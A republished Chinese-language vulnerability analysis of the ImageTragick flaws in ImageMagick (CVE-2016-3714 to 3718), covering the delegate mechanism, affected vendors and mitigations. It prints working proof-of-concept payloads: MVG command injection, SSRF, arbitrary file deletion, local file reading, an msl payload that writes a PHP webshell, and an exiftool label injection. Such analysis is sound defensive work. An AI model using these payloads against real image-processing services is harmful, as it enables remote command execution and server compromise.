转载

CVE-2016-3714 - ImageMagick 命令执行分析

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。

国外的安全人员为此新建了一个网站: https://imagetragick.com/ ,不得不说,有些外国人蛮会玩的。

相对于之前的数个拥有『主页』的漏洞,这个洞确实不一般,确实是一个可以被利用的好洞,乌云主站上也爆出了数个被该漏洞影响的大厂商。我们先来分析一下它出现的原因。

0x01 原理分析

与这个漏洞相关的CVE有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717,其中最严重的就是CVE-2016-3714,利用这个漏洞可以造成远程命令执行的危害。

ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的( https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L347 )

我们在ImageMagick的默认配置文件里可以看到所有的委托: /etc/ImageMagick/delegates.xml

#!xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE delegatemap [ <!ELEMENT delegatemap (delegate)+> <!ELEMENT delegate (#PCDATA)> <!ATTLIST delegate decode CDATA #IMPLIED> <!ATTLIST delegate encode CDATA #IMPLIED> <!ATTLIST delegate mode CDATA #IMPLIED> <!ATTLIST delegate spawn CDATA #IMPLIED> <!ATTLIST delegate stealth CDATA #IMPLIED> <!ATTLIST delegate thread-support CDATA #IMPLIED> <!ATTLIST delegate command CDATA #REQUIRED> ]> <!--   Delegate command file.    Commands which specify      decode="in_format" encode="out_format"    specify the rules for converting from in_format to out_format These   rules may be used to translate directly between formats.    Commands which specify only      decode="in_format"    specify the rules for converting from in_format to some format that   ImageMagick will automatically recognize. These rules are used to   decode formats.    Commands which specify only     encode="out_format"    specify the rules for an "encoder" which may accept any input format.    For delegates other than ps:*, pcl:*, and mpeg:* the substitution rules are   as follows:      %i  input image filename     %o  output image filename     %u  unique temporary filename     %Z  unique temporary filename     %#  input image signature     %b  image file size     %c  input image comment     %g  image geometry     %h  image rows (height)     %k  input image number colors     %l  image label     %m  input image format     %p  page number     %q  input image depth     %s  scene number     %w  image columns (width)     %x  input image x resolution     %y  input image y resolution    Set option delegate:bimodal=true to process bimodal delegates otherwise they   are ignored.    If stealth="True" the delegate is not listed in user requested   "-list delegate" listings. These are typically special internal delegates.    If spawn="True" ImageMagick will not way for the delegate to finish,   nor will it read any output image.  It will only wait for either the input   file to be removed (See "ephemeral:" coder) indicating that the input file   has been read, or a maximum time limit of 2 seconds. --> <delegatemap>   <delegate decode="autotrace" stealth="True" command=""convert" "%i" "pnm:%u"/n"autotrace" -input-format pnm -output-format svg -output-file "%o" "%u""/>   <delegate decode="blender" command=""blender" -b "%i" -F PNG -o "%o""/n"convert" -concatenate "%o*.png" "%o""/>   <delegate decode="browse" stealth="True" spawn="True" command=""xdg-open" http://www.imagemagick.org/; rm "%i""/>   <delegate decode="cdr" command=""uniconvertor" "%i" "%o.svg"; mv "%o.svg" "%o""/>   <delegate decode="cgm" thread-support="False" command=""ralcgm" -d ps -oC < "%i" > "%o" 2> "%Z""/>   <delegate decode="dvi" command=""dvips" -q -o "%o" "%i""/>   <delegate decode="dng:decode" command=""ufraw-batch" --silent --create-id=also --out-type=png --out-depth=16 "--output=%u.png" "%i""/>   <delegate decode="dot" command='"dot" -Tsvg "%i" -o "%o"' />   <delegate decode="edit" stealth="True" command=""/etc/alternatives/x-terminal-emulator" -title "Edit Image Comment" -e vi "%o""/>   <delegate decode="eps" encode="pdf" mode="bi" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 "-sDEVICE=pdfwrite" "-sOutputFile=%o" "-f%i""/>   <delegate decode="eps" encode="ps" mode="bi" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=nodevice" "-sOutputFile=%o" "-f%i""/>   <delegate decode="fig" command=""fig2dev" -L ps "%i" "%o""/>   <delegate decode="plt" command=""echo" "set size 1.25,0.62; set terminal postscript portrait color solid; set output /'%o/'; load /'%i/'" > "%u";"gnuplot" "%u""/>   <delegate decode="hpg" command=""hp2xx" -q -m eps -f `basename "%o"` "%i";     mv -f `basename "%o"` "%o""/>   <delegate decode="hpgl" command="if [ -e hp2xx -o -e /usr/bin/hp2xx ]; then     hp2xx -q -m eps -f `basename "%o"` "%i";     mv -f `basename "%o"` "%o";   else     echo "You need to install hp2xx to use HPGL files with ImageMagick.";     exit 1;   fi"/>   <delegate decode="htm" command=""html2ps" -U -o "%o" "%i""/>   <delegate decode="html" command=""html2ps" -U -o "%o" "%i""/>   <delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>   <delegate decode="ilbm" command=""ilbmtoppm" "%i" > "%o""/>   <delegate decode="man" command=""groff" -man -Tps "%i" > "%o""/>   <delegate decode="mpeg:decode" command=""ffmpeg" -v -1 -i "%i" -vframes %S -vcodec pam -an -f rawvideo -y "%u.pam" 2> "%Z""/>   <delegate encode="mpeg:encode" stealth="True" command=""ffmpeg" -v -1 -mbd rd -trellis 2 -cmp 2 -subcmp 2 -g 300 -i "%M%%d.jpg" "%u.%m" 2> "%Z""/>   <delegate decode="sid" command=""mrsidgeodecode" -if sid -i "%i" -of tif -o "%o" > "%u""/>   <delegate decode="pcl:color" stealth="True" command=""pcl6" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=ppmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>   <delegate decode="pcl:cmyk" stealth="True" command=""pcl6" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pamcmyk32" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>   <delegate decode="pcl:mono" stealth="True" command=""pcl6" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pbmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>   <delegate decode="pdf" encode="eps" mode="bi" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=epswrite" "-sOutputFile=%o" "-f%i""/>   <delegate decode="pdf" encode="ps" mode="bi" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=nodevice" "-sOutputFile=%o" "-f%i""/>   <delegate decode="tiff" encode="launch" mode="encode" command=""gimp" "%i""/>   <delegate decode="pnm" encode="ilbm" mode="encode" command=""ppmtoilbm" -24if "%i" > "%o""/>   <delegate decode="pov" command=""povray" "+i%i" -D0 "+o%o" +fn%q +w%w +h%h +a -q9 "-kfi%s" "-kff%n";"convert" -concatenate "%o*.png" "%o""/>   <delegate decode="ps" encode="eps" mode="bi" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=epswrite" "-sOutputFile=%o" "-f%i""/>   <delegate decode="ps" encode="pdf" mode="bi" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pdfwrite" "-sOutputFile=%o" "-f%i""/>   <delegate decode="ps" encode="print" mode="encode" command="lpr "%i""/>   <delegate decode="ps:alpha" stealth="True" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "-f%s" "-f%s""/>   <delegate decode="ps:cmyk" stealth="True" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pam" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "-f%s" "-f%s""/>   <delegate decode="ps:color" stealth="True" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pnmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "-f%s" "-f%s""/>   <delegate decode="ps:mono" stealth="True" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pbmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "-f%s" "-f%s""/>   <delegate decode="rgba" encode="rle" mode="encode" command=""rawtorle" -o "%o" -v "%i""/>   <delegate decode="scan" command=""scanimage" -d "%i" > "%o""/>   <delegate decode="scanx" command=""scanimage" > "%o""/>   <delegate decode="miff" encode="show" spawn="True" command=""/usr/bin/display" -delay 0 -window-group %[group] -title "%l " "ephemeral:%i""/>   <delegate decode="shtml" command=""html2ps" -U -o "%o" "%i""/>   <delegate decode="svg" command=""rsvg-convert" -o "%o" "%i""/>   <delegate decode="txt" encode="ps" mode="bi" command=""enscript" -o "%o" "%i""/>   <delegate decode="miff" encode="win" stealth="True" spawn="True" command=""/usr/bin/display" -immutable -delay 0 -window-group %[group] -title "%l " "ephemeral:%i""/>   <delegate decode="wmf" command=""wmf2eps" -o "%o" "%i""/>   <delegate decode="xps:color" stealth="True" command=""gxps" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=ppmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>   <delegate decode="xps:cmyk" stealth="True" command=""gxps" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=bmpsep8" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>   <delegate decode="xps:mono" stealth="True" command=""gxps" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pbmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/> </delegatemap> 

我们可以看到,这里它定义了很多占位符,比如%i是输入的文件名,%l是图片exif label信息。而在后面command的位置,%i和%l等占位符被拼接在命令行中。这个漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号(`)或闭合双引号,来执行任意命令。

漏洞报告中给出的POC是利用了如下的这个委托:

<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/> 

它在解析https图片的时候,使用了curl命令将其下载,我们看到%M被直接放在curl的最后一个参数内。ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。

所以我们可以构造一个.mvg格式的图片(但文件名可以不为.mvg,比如下图中包含payload的文件的文件名为vul.gif,而ImageMagick会根据其内容识别为mvg图片),并在https://后面闭合双引号,写入自己要执行的命令:

push graphic-context viewbox 0 0 640 480 fill 'url(https://&quot;|id; &quot;)' pop graphic-context

这样,ImageMagick在正常执行图片转换、处理的时候就会触发漏洞:

CVE-2016-3714 - ImageMagick 命令执行分析

其他几个CVE也比较有趣,比如CVE-2016-3718,他是利用mvg格式中可以包含url的特点,进行SSRF攻击,POC如下:

push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context 

CVE-2016-3715是利用ImageMagick支持的ephemeral协议,来删除任意文件:

push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'ephemeral:/tmp/delete.txt' popgraphic-context 

CVE-2016-3716是利用ImageMagick支持的msl协议,来进行文件的读取和写入。利用这个漏洞,可以将任意文件写为任意文件,比如将图片写为一个.php后缀的webshell。

特别说明的是,msl协议是读取一个msl格式的xml文件,并根据其内容执行一些操作:

file_move.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'msl:/tmp/msl.txt' popgraphic-context  /tmp/msl.txt -=-=-=-=-=-=-=-=- <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="/tmp/image.gif" /> <write filename="/var/www/shell.php" /> </image> 

CVE-2016-3717可以造成本地文件读取漏洞:

push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/hosts' pop graphic-context 

0x02 深入分析

除了报告中给出的POC以外,各个安全研究人员也集思广益,发现这个洞的更多利用/影响方式。

首先,PHP扩展『ImageMagick』也存在这个问题,而且只需要调用了Imagick类的构造方法,即可触发这个漏洞:

<?php new Imagick('vul.gif'); 

因为没有返回值,我利用cloudeye捕捉到apache日志,从日志中读取命令执行的结果:

CVE-2016-3714 - ImageMagick 命令执行分析

另外,经过分析,研究人员发现除了.mvg格式的图片以外,普通png格式的图片也能触发命令执行漏洞。我们看到前面委托中对%l,也就是exif label的处理:

<delegate decode="miff" encode="show" spawn="True" command=""/usr/bin/display" -delay 0 -window-group %[group] -title "%l " "ephemeral:%i""/> 

它将%l拼接进入了/usr/bin/display命令中,所以我只需将正常的png图片,带上一个『恶意』的exif信息。在调用ImageMagick将其处理成.show文件的时候,即可触发命令注入漏洞:

exiftool -label="/"|/usr/bin/id; /"" test.png convert test.png o.show 

CVE-2016-3714 - ImageMagick 命令执行分析

但这个方法鸡肋之处在于,因为delegate.xml中配置的encode="show"(或"win"),所以只有输出为.show或.win格式的情况下才会调用这个委托,而普通的文件处理是不会触发这个命令的。

0x03 影响分析

ImageMagick是一个使用非常广的组件,大量厂商都在处理图片的时候调用这个程序进行处理,而且很多开源应用也在核心代码中包含了ImageMagick选项。

Wordpress是著名的个人博客/CMS厂商,其核心源码中使用了PHP扩展ImageMagick。受到这个漏洞的影响,在攻击者拥有一定权限的情况下,可以在Wordpress中触发任意命令执行漏洞: WooYun: Wordpress某核心功能命令执行漏洞(一定权限)

同样的,Discuz、Drupal等常用CMS中也调用了ImageMagick扩展或ImageMagick库,CVE-2016-3714也可能会影响到他们。

但根据我对Discuz的分析,其调用ImageMagick处理图片之前,会先使用php的getimagesize进行图片格式、大小的验证,所以本文中所涉及的POC无法在Disucz中直接使用,但不排除有其他方法绕过discuz对该问题的限制。

除了开源软件中的漏洞以外,国内外各大厂商或多或少都收到了该问题的影响,影响最大的应该属人人,人人某处上传位置调用了ImageMagick进行图片的处理,结果造成了命令执行,导致内网被白帽子攻破: WooYun: 人人网某漏洞导致直接Getshell影响主干网络直入内网

另外,百度、新浪、腾讯、360等诸多厂商都收到该漏洞影响: WooYun: QQ邮箱命某处令执行 、 WooYun: 腾讯微云远程命令执行 、 WooYun: 七牛云存储远程命令执行漏洞影响图片处理服务器 、 WooYun: 百度某站远程命令执行漏洞 、 WooYun: 一张图片引发的血案百度某处命令执行 、 WooYun: 360云盘文件读取/SSRF

还有个比较有意思的地方,因为新浪sae的php包含ImageMagick扩展,所以乌云上有白帽子利用这个漏洞,成功绕过了sae的沙盒 WooYun: SAE 沙盒绕过(ImageMagick CVE20163714 应用实例)

0x04 漏洞修复

关于这个漏洞影响ImageMagick 6.9.3-9以前是所有版本,包括ubuntu源中安装的ImageMagick。而官方在6.9.3-9版本中对漏洞进行了不完全的修复。所以,我们不能仅通过更新ImageMagick的版本来杜绝这个漏洞。

现在,我们可以通过如下两个方法来暂时规避漏洞:

  1. 处理图片前,先检查图片的 "magic bytes",也就是图片头,如果图片头不是你想要的格式,那么就不调用ImageMagick处理图片。如果你是php用户,可以使用getimagesize函数来检查图片格式,而如果你是wordpress等web应用的使用者,可以暂时卸载ImageMagick,使用php自带的gd库来处理图片。
  2. 使用policy file来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick/policy.xml ,我们通过配置如下的xml来禁止解析https等敏感操作:

参考文献:

https://imagetragick.com/

http://www.openwall.com/lists/oss-security/2016/05/03/18

http://weibo.com/p/1001603971443670055277

并感谢 @redrain有节操 @Ricter @BigBan 的帮助

原文  http://drops.wooyun.org/papers/15589
正文到此结束
Loading...